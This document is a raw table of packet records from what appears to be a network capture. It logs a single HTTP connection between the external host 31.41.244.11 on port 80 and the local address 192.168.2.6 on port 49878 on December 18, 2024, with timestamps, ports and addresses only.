Dec 18, 2024 11:47:47.338439941 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.338484049 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.338551998 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.338591099 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.339482069 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.339524031 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.339652061 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.339692116 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.340676069 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.340715885 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.340790987 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.340831041 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.341909885 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.341954947 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.342053890 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.342097998 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.343178988 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.343233109 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.343254089 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.343291044 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.344398975 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.344451904 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.344512939 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.344666958 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.345532894 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.345577955 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.345597029 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.345634937 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.346709967 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.346756935 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.346791983 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.346832037 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.347682953 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.347727060 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.347786903 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.347826004 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.348918915 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.348968029 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.348972082 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.349019051 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.350006104 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.350053072 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.350146055 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.350188017 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.351202011 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.351252079 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.351308107 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.351351023 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.352406979 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.352457047 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.352547884 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.352588892 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.353581905 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.353629112 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.353703022 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.353743076 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.354706049 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.354752064 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.354801893 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.354840994 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.355875015 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.355916023 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.356007099 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.356620073 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.357084036 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.357189894 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.357208014 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.357229948 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.358340025 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.358351946 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.358385086 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.359363079 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.359407902 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.359466076 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.359505892 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.360619068 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.360631943 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.360662937 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.361746073 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.361787081 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.361867905 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.361907959 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.362859011 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.362905979 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.362967014 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.363003016 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.364051104 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.364063978 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.364094019 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.364109039 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.365200996 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.365245104 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.365318060 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.365359068 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.366470098 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.366518021 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.366565943 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.366605043 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.367558956 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.367602110 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.367749929 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.367788076 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.368760109 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.368803024 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.368822098 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.368860006 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.369954109 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.369992971 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.370038986 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.370078087 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.371145010 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.371185064 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.371299982 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.371337891 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.372374058 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.372412920 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.372448921 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.372488022 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.373709917 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.373750925 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.373806000 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.373843908 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.374577045 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.374624014 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.374644041 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.374680042 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.375730038 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.375771046 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.375852108 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.375889063 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.376951933 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.376991987 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.377078056 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.377115965 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.378087997 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.378124952 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.378221035 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.378257990 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.379262924 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.379302979 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.379373074 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.379410982 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.380408049 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.380450010 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.380523920 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.380563021 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.381753922 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.381794930 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.381890059 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.381941080 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.382761955 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.382802010 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.382819891 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.382855892 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.383953094 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.383996964 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.384147882 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.384187937 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.385325909 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.385338068 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.385364056 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.385381937 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.386288881 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.386339903 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.386377096 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.386418104 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.387430906 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.387473106 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.387578011 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.387617111 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.388622046 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.388665915 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.388709068 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.388794899 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.389853954 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.389899015 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.389976025 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.390016079 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.520513058 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.520610094 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.520611048 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.520740032 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.521152020 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.521178007 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.521208048 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.521239996 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.522346020 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.522403002 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.522404909 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.522438049 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.523427963 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.523482084 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.523807049 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.523853064 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.523888111 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.523927927 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.525029898 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.525084972 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.525109053 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.525144100 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.526154041 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.526209116 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.526262045 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.526298046 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.527323008 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.527369022 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.527415991 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.527452946 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.528487921 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.528542042 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.528551102 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.528584003 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.529647112 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.529701948 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.529753923 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.529793978 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.530843973 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.530888081 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.530915022 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.530949116 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.532031059 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.532075882 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.532124043 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.532161951 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.533154011 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.533205032 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.533272028 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.533315897 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.534342051 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.534389973 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.534420967 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.534456968 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.535598040 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.535610914 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.535640955 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.535674095 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.536745071 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.536783934 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.536802053 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.536835909 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.537830114 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.537904978 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.538062096 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.539011955 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.539056063 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.539127111 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.539194107 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.540365934 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.540422916 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.540427923 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.540472031 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.541337967 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.541378975 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.541393995 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.541425943 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.542555094 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.542603016 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.542620897 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.542660952 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.543747902 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.543766975 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.543787956 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.543806076 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.544899940 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.544945002 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.545011997 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.545049906 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.546137094 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.546149969 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.546175957 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.546205044 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.547360897 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.547374010 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.547419071 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.548387051 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.548424959 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.548425913 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.548463106 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.549621105 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.549632072 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.549679041 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.550733089 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.550745964 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.550775051 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.552011967 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.552043915 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.552052021 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.552078009 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.553069115 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.553108931 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.553256989 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.553318977 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.554383993 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.554398060 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.554431915 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.555529118 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.555541039 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.555579901 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.555598021 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.556534052 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.556582928 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.556652069 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.556684017 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.557811022 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.557832003 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.557859898 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.557874918 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.558912992 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.558958054 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.559000015 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.559041977 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.560120106 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.560132027 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.560175896 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.560175896 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.561395884 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.561436892 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.561496019 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.561538935 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.562787056 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.562838078 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.562870026 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.562907934 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.563939095 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.563986063 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.564050913 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.564090967 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.565057039 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.565119982 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.565177917 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.565216064 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.566148996 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.566220999 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.566315889 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.566315889 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.567202091 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.567214966 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:47.567241907 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.567255974 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:47.568444014 CET	80	49878	31.41.244.11	192.168.2.6
